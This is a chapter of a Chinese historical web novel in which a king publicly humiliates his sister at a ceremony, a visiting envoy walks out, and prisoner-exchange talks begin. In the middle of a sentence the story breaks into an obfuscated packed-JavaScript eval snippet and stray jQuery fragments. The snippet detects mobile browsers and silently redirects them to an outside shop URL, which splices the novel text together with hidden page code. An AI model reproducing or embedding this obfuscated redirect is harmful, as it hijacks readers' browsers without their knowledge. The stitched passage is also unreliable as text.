至亲反目,那股恨意往往比陌路仇人更加酷烈。
往昔,康缇发疯作闹,不过纾解心中苦闷罢了。得知大雍使臣要来金凉,她便学乖了,乖到康朔看不出一丝破绽,还颔首称许:“缇儿懂事了。”
可他没想到,那个装得很懂事的小妹,蛰伏多日,就等着出塔这一天,当着使臣的面,给王兄一个惊喜。
可说到底,康缇与康朔比疯斗狠,还是小巫见大巫。
失去耐心的康朔,骤然迈步上前,一把从侍女手中夺过水盆,向妹妹兜头泼下。
“哗啦!!!”
康缇猝不及防,被淋了个落汤鸡,发髻散乱,本就歪斜的金冠也被冲落坠地。
不及她抹去脸上血水,康朔已俯身而来,一把将她抱起,反手扛在肩上,大步朝祭坛正中走去。
康缇头朝下倒悬着,视野里只有王兄的后背。他的手臂紧紧钳着她,无论如何踢打挣扎,都丝毫挣脱不了。
在不得章法的扑腾中,康缇无意间摸索到王兄背上一处还算软的地方,狠狠咬了上去。
齿尖穿透衣料,刺痛皮肉。康朔身形一顿,喉间逸出一声闷哼。虽然吃痛,却也没停下。他皱着眉,咬紧牙,一声不吭,硬是将她扛上祭坛,一把掼在中央的蒲团上。
“礼官何在?”他甩开袖摆,厉声喝道。
“在,在,”礼官跌跌撞撞地扑到坛前,“王上,臣在此。”
“还不宣布礼成?!”
“是!是!”
礼官哆哆嗦嗦展开手中帛卷,仓皇拔高声音念道:“隆仪已成,神灵赐福;吉星移位,永保康宁;福泽延绵……”
话音未落,康缇已从蒲团上踉跄爬起,猛地抬手拔下头上金钗玉簪,又奋力扯开礼服外袍,伸手去解腰间玉带。可越是心急,那鎏金钩扣越是缠绞难解。
为此,她骤然腾起一股戾气,发力狠拽。只听“咔嗒”一声,钩带迸裂,连带上坠饰的珍珠玉石也迸散开来,噼里啪啦,飞溅得到处都是。
偏巧,其中一颗珠子,不偏不倚,正冲着严修明面门飞来。
他眼疾手快,一把抓住了那颗珍珠。摊开来看,只见珠光温润,莹莹似月华。严修明挑了下眉,用拇指轻轻摩挲几下,又合拢五指,将珍珠紧紧攥在手心。
另一边,康朔见妹妹如此不顾体统,一步上前攥住她手腕:“上国使臣在前,你还要闹到什么地步?”
康缇手腕被他钳得生疼,停下了动作,只一双锐利的眼神盯着王兄,露出一个挑衅的微笑。
康朔见她这般神情,心知今日必不能善了,索性横下心。“锦绣华服你不要,是么?”他声音压得很低,听起来更骇人了,“好,好啊!”
冷笑一声后,康朔松开她的手,后退一步,目光扫向阶下侍卫,冷声命令道:“吉礼已备,当以示诚敬。尔等助将公主褪去礼服,净化尘躯,以彰显其心至纯至真,承天露之泽!”
也就是康朔,能将扒人衣服这件事说得冠冕堂皇。
可场中众人也不傻。
当众扒一个女子的衣服,着实不体面,更何况这是公主。侍卫们面面相觑,无人敢动。
礼官僵在坛下,贺词念得断断续续,进也不是退也不是,额上不禁冒出涔涔冷汗。
金凉臣民也个个面如土色,垂首屏息,不敢多看。
而大雍使团席间,几位使臣已侧首掩袖,相视而笑,俨然将这荒唐一幕,视作今日最大的乐子。
“怎么,都聋了吗?”康朔的耐心几乎耗尽,厉声喝道,“本王的话,都听不见吗?”
君威如雷霆压下,为首的侍卫面色惨白,只得咬牙上前,带着两名侍卫逼近康缇。康缇瞳孔骤缩,挣扎更剧,却被数只手死死按住。
“住手!”王妃何瑛姃再也按捺不住,由侍女搀着急步上前,声音带着哭腔,“王上,不可啊!此举有辱国体,更伤天家亲情。求王上看在……看在我们未出世的孩子份上……”
话还没说完,康朔转过头冷冷看着她,那眼神如刀,又似无声之雷,令何瑛姃心下一紧,生生将话咽了回去,不敢出声了。
王上对王妃尚且如此凌厉,其他人可想而知。于是,众人虽然觉得如此待公主,不大体面,但也不敢再置一词。
一个人的愤怒,如乌云压顶,笼罩在璇玑塔下。场中有被欺凌的、惶惶不安的、看热闹的……唯有严修明,笑过一阵后,此刻只觉索然无味。
说到底,他心底是有些失落的。那些对疯子的幻想,都落败了。疯子就是疯子,在强权面前,脆弱不堪。
“走!”
严修明蓦然起身,掸平了衣裳,大步向场外走去。
左右使臣见状,皆一头雾水,但也不能干坐着。于是,众人也随之离席,加上随身仆侍,二三十号人,就这样呜呜泱泱地朝外行去。
外交场合,任何一个举动,都会被放大解读。
康朔不惜斥资举办启明大典,其一,是为康缇“吉星”的身份正名,全两国和亲的体面;其二,是为了显示他西康国力与王权威严,告诉各位雍使,西康今非昔比,往后交涉谈判也是要有所顾忌的。
然而,严修明就这样退场,无异于给了康朔一记耳光。他的沉默,是一种宣判:西康之仪,鄙陋至极,不足为外人观,亦不足为世人言。
这比任何语言都要响亮。
康朔哪里忍受得了这样的羞辱,当即给身旁的译礼馆主簿赫连文使了个眼色。
赫连文会意,立刻弓着身子小跑到严修明近前,深深作揖,赔笑道:“严正使,诸位上使,请留步。往上已吩咐重启雅乐,珍馐美酒即刻奉上。方才……方才实在是意外,万望海涵,万望海涵啊!”
严修明瞥了赫连文一眼,又回头看了眼焦灼的康朔,用慵懒戏谑的声音道:“不必了吧?我等千里迢迢来到金凉,是为了迎亲,不是来看撂地耍把式的。”
他特意将声量提高,被康朔听得一清二楚。
康朔绷不住了,大步上前,对严修明道:“启明大典乃我西康国之盛事,这般大典,纵有微瑕,也是常情。本王诚意邀上使观礼,严正使却执意要走,莫非是觉得我西康不配待客了?”
严修明不予回答。
他侧目看了一眼祭坛上的康缇。她跪坐在原地,脊背挺得笔直,锐利的眼神穿过人群,直勾勾看着自己与康朔,嘴角还挂着一丝讥诮而得意的笑容。反观周围侍卫和康臣,一个个怂头耷脑,眼神飘忽,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062460|195086||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像一群受惊的鹌鹑。
见到这一幕,严修明也不由得被逗笑了。
接着,他大步流星,走到祭坛前,双眼始终直视着康缇,将方才那颗珍珠放在祭坛边上。而康缇也注意到他,毫不避讳地迎着他的目光,关注着他的一举一动。
二人就这样相互看着,没有一句话。
罢了,严修明微微颔首,便又离开了。经过康朔时,才轻笑一下,回答了他的问题:“是我不配。”
康朔一怔:“此话何意?”
严修明淡淡地说道:“西康公主不日便是大雍王妃,可未出阁的公主,还是西康人,是王上的亲妹妹。只是……康王今日以‘净化尘躯’为名,去了公主的衣裳,还让我等雍臣旁观,这岂不是……”
接着,他又凑近康朔耳畔,低声道:“公主玉体,非外男可视。我等先于陛下欣赏吉星之姿,怕是有悖人伦吧?这是僭越犯上,要杀头的。还请康兄体谅。”
言罢,他微微颔首,转身便走。其他众使也跟上。
康朔闻言,气得脸色红一阵白一阵,却也无法反驳。往昔,他只知严修明是军功赫赫的悍将,却没想到此人在邦交上,言辞也如此刁钻。
他的一番话,将国事之仪降为私事,还在自己耳边一口一个“康兄”叫着,看似是无奈告饶,可外人听不见这番话,只当是上邦震怒。
大雍使臣终究是走了,留下这么个死寂的场子。筹备多时的启明大典,也不得不黯然收场。
然而,康朔怎能甘心?反正雍使在金凉城还要待一阵子,反正还有诸多事宜要交涉,他一定要扳回一局。
果不其然,启明大典结束后,当晚亥时三刻,西康的使者便到了西华馆,来人传达王命,邀雍使于次日辰时初刻,前往主理外务的盟会司,就雍军俘虏交接事宜,进行磋商。
俘虏交接示意,源于三个月前,西康递至兴安的一封国书。
书中称,乌护、斜律等部屡犯大雍边境,劫掠时俘获雍军一千。西康身为西境诸部共主,不忍上国将士沦落蛮荒,便出兵震慑,将这些被俘士兵接回金凉城,妥善安置。值此和亲佳期,正好一并送还,以彰两国睦谊。
话是亥时三刻传到西华馆的,谈判时间却是辰时初刻,满打满算不足五个时辰。期间,使团需拟定方略、整理仪容,还需驱车穿越半个金凉城前往盟会司,能真正休息的时间所剩无几。
出门在外,舟车劳顿、宵衣旰食,对于使团众人而言,本就是家常便饭。莫说还有几个时辰休息,就算连轴熬到天明,大家也不过是嘴上相互抱怨几句,心中还是差事要紧。
但在严修明看来,战俘交接事宜,如此仓促地被提上日程,恐怕没那么简单。作为久经沙场的武将,一眼便看出这是趁其不备、出其不意的战术。恐怕康硕要拿此事做文章。
可他究竟打的什么算盘?
思量一番,严修明命副使周兆安出面,携几名精于边务与钱粮的属官前往谈判。自己则坐镇西华馆,统观全局。一旦前方谈崩了,或者出现僵局,只要他未出面,便还有转圜的余地。
此外,考虑到西康方面没有见到自己,可能以此为由,拒绝谈判,便又将自己的信印、使印等全部交给周兆安。